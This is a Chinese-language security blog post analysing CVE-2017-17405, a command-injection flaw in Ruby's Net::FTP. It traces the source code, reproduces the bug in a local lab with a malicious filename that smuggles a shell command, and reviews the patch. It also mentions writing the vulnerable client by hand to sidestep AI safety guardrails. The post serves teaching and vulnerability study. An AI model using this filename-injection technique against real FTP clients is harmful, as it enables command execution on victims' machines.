CVE-2017-17405

露比(Ruby)咻比~

漏洞卡片#

Ruby 是一门动态、面向对象的通用编程语言,由日本程序员松本行弘(Matz)设计,1995 年公开发布。它的核心理念是“让程序员快乐”,所以语法读起来很接近自然语言,写起来也很灵活。

漏洞描述:Ruby 2.4.3 之前的版本,Net::FTP 中的 get、getbinaryfile、gettextfile、put、putbinaryfile 和 puttextfile 方法均使用了 Kernel#open 来打开本地文件(localfile)。如果 localfile 以管道字符 | 开头,则会执行该管道字符后面的命令。而 localfile 的默认值为 File.basename(remotefile),即其值可能受用户控制,因此恶意 FTP 服务器可能导致任意命令执行。

其中:

  • Net::FTP 表示的是一个命名空间,即 Net 模块中的 FTP 类,对应文件 /lib/net/ftp.rb
  • Kernel#open 表示的是 kernal 模块中的 open 方法

这两种表述在 Ruby 文档或者技术交流中很常见(下面可能还会遇到),大致可以概括为:

  • <命令空间>::<常量>
  • <类或模块>#<方法>

影响版本:< 2.4.3

Base Score:8.8 HIGH

Vector:CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

漏洞讲解#

ftp.rb(文件位置:/lib/net/ftp.rb):

Ruby
def gettextfile(remotefile, localfile = File.basename(remotefile),
				&block) # :yield: line
  f = nil
  result = nil
  if localfile
	f = open(localfile, "w")
  elsif !block_given?
	result = String.new
  end
  [snip]
end

追踪 open()(来到文件:/lib/open-uri.rb):

Ruby
module Kernel
  private
  alias open_uri_original_open open # :nodoc:
  class << self
    alias open_uri_original_open open # :nodoc:
  end

  def open(name, *rest, &block) # :doc:
    if name.respond_to?(:open)
      name.open(*rest, &block)
    elsif name.respond_to?(:to_str) &&
          %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://} =~ name &&
          (uri = URI.parse(name)).respond_to?(:open)
      uri.open(*rest, &block)
    else
      open_uri_original_open(name, *rest, &block)
    end
  end
  module_function :open
end

如果 localfile:

  • 不存在 open 方法(对应 if 判断),并且
  • 内容不是 xxx:// 开头的字符串(对应 elsif 判断)

则会使用 Ruby 内置的 open,其实现在 /io.c 文件中:

对 localfile 会进行两轮的检测:

  • 如果含 to_open 方法,则会走 if(redirect) 分支
  • FilePathValue 会检查 localfile 是否为 String 类型,如果不是则会尝试转换,如果转换失败了会走 if(redirect) 分支

若 localfile 均未使 redirect 变 TRUE,则进入管道命令判断:

Ruby
VALUE cmd = check_pipe_command(tmp);
if (!NIL_P(cmd)) {
	argv[0] = cmd;
	return rb_io_s_popen(argc, argv, rb_cIO);
}

若发现管道命令(| command),则会调用 rb_io_s_popen。

rb_io_s_popen 是 IO.popen() 的 C 语言实现,其大致在做的事情:

  1. pipe() 创建管道
  2. fork() 出子进程
  3. 子进程用 dup2() 将 stdout/stdin 接到管道,接着调用 exec 去执行目标命令
  4. 父进程拿着管道另一端,包装成 IO 对象返回给你

因此,类似 | id 这样的文件名能成功到达 rb_io_s_popen,并获得命令执行后的结果。

复现#

首先,你需要切换 ruby 的版本,推荐使用 rbenv 工具(相关使用和介绍可以看这篇文章)。

我这已经安装好了 2.4.2 版本:

Bash
$ rbenv versions
  system
* 2.4.2 (set by RBENV_VERSION environment variable)

将当前终端中的 ruby 版本都切换到 2.4.2:

Bash
$ rbenv shell 2.4.2

验证:

Bash
$ ruby --version
ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-linux]

我让 AI(Claude Sonnet 5.5 High)用 Ruby 实现了 FTP 服务器端:

注意

你需要向 AI 指明你所用的 Ruby 版本,否则可能会出现新版本的写法(旧版本会报错)。

启用 FTP 服务器的方法:

Text
ruby s.rb ./root

其中 root 是 FTP 根目录。

我在 root 目录中写了一个 Python 脚本用于创建恶意文件:

Python
filename = '|echo${IFS}$(id)>pwn'

with open(filename,'w') as f:
    f.write('CVE-2017-17405')

这将在当前目录中生成一个名为 |echo${IFS}$(id)>pwn 的文件。

接下来写客户端来模拟受害者,通过 FTP 去下载 root 中的所有文件:

Ruby
require "net/ftp"

ftp = Net::FTP.new
ftp.connect('127.0.0.1', 2121)
ftp.login('demo', '123456')

begin
	ftp.nlst.each do |file|
		ftp.gettextfile(file)
	end	
ensure
	ftp.close
end

这里为什么没有用 AI 代写呢?原因有三:

  1. 要写的代码不会特别长(官方文档有示例,且和 Python 差不多用法)
  2. 需要用到那些存在漏洞的函数
  3. 安全护栏(有漏洞版本中使用有漏洞的函数可能会触发安全护栏)

确保当前 ruby 的版本已经切换到 2.4.2(或者其他存在漏洞的版本):

Bash
$ ruby --version
ruby 2.4.2p198 (2017-09-14 revision 59899) [x86_64-linux]

启动 FTP Server:

Bash
$ ruby s.rb ./root
FTP server listening on 2121, root=/home/zyf/tmp/root

启动客户端:

Bash
$ ruby c.rb

此时就能看到当前目录中出现 pwn 文件,并且里面是 id 命令的结果:

Bash
$ ls
c.rb  pwn  root  s.rb
$ cat pwn
uid=1000(zyf) gid=1005(zyf) 组=1005(zyf),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),101(netdev),1000(lpadmin),1001(scanner),1002(bluetooth),1003(docker),1004(podman)

Diff#

我在本地下载了 ruby-2.4.2 和 ruby-2.4.3,针对这两个版本进行 diff:

Bash
$ diff -u ruby-2.4.2/ruby-2.4.2/lib/net/ftp.rb ruby-2.4.3/ruby-2.4.3/lib/net/ftp.rb
Tip

diff 的相关用法可见笔记。

核心:将 open 替换成了 File.open。

File 继承自 IO:

Ruby
class File < IO

由于 File 中并没有重写 open 方法, 因此调用 File.open 等价于调用 IO.open,其 C 语言实现(文件位于:/io.c):

C
static VALUE
rb_io_s_open(int argc, VALUE *argv, VALUE klass)
{
    VALUE io = rb_class_new_instance(argc, argv, klass);

    if (rb_block_given_p()) {
		return rb_ensure(rb_yield, io, io_close, io);
    }

    return io;
}

非常简短,追踪 rb_class_new_instance(位于:/object.c):

C
VALUE
rb_class_new_instance(int argc, const VALUE *argv, VALUE klass)
{
    VALUE obj;

    obj = rb_obj_alloc(klass);
    rb_obj_call_init(obj, argc, argv);

    return obj;
}

继续追踪 rb_obj_call_init(文件:eval.c):

C
void
rb_obj_call_init(VALUE obj, int argc, const VALUE *argv)
{
    PASS_PASSED_BLOCK_HANDLER();
    rb_funcallv(obj, idInitialize, argc, argv);
}

rb_funcallyv 会进行方法查找,对于文件对象(File)就是找到 File#initialize:

C
rb_define_method(rb_cFile, "initialize", rb_file_initialize, -1);

最终可以追踪到 open:

Text
rb_file_initialize → rb_open_file → rb_sysopen → open(2)

过程中并没有对管道符的特殊处理,仅仅只是打开文件,原先可用的:

Text
| id

在这条链路上仅仅只是打开了一个名字奇怪的文件而已。

推测安全研究员的发现经过#

Etienne Stalmans(漏洞发现者)其实将发现经过写得很详细:

  1. libcurl 出现了一个漏洞(CVE-2017-8817)
  2. 研究者所在公司(Heroku)对外提供应用托管平台,每有相关漏洞披露就需要检查自己的产品是否受到影响
  3. 修补漏洞的同时,研究者灵机一动,想到别的库中对 FTP 的实现是否存在相同的问题(级联发现的思想)
  4. 研究者首先锚定的目标就是 Ruby(因为自家客户很多人在用)
  5. 发现 Ruby 虽然没有直接用到 libcurl,但是其对 FTP 功能的实现非常的简短(共 1496 行代码)且只有一个文件(ftp.rb),研究者便来了继续往下检查的兴趣
  6. 通过 grep 一些 Ruby 中常见的 Sink(主要是 RCE 那块,比如 command、IO.popen(command)、kernal.open("| command")……),研究者便发现了 kernal#open 的使用
  7. 发现传入 kernal#open 的参数 localfile 可能受外部控制(localfile = File.basename(remotefile)),并且没有相应的过滤措施

CheckLists#

  • 级联发现
  • 主动检索常见 Sink

参考文章#

谁把我灯关了
谁把我灯关了

网安小白,幻想着成为一名大佬。

版权声明
本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。
最后更新

关系图谱查看全部

相关文章

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做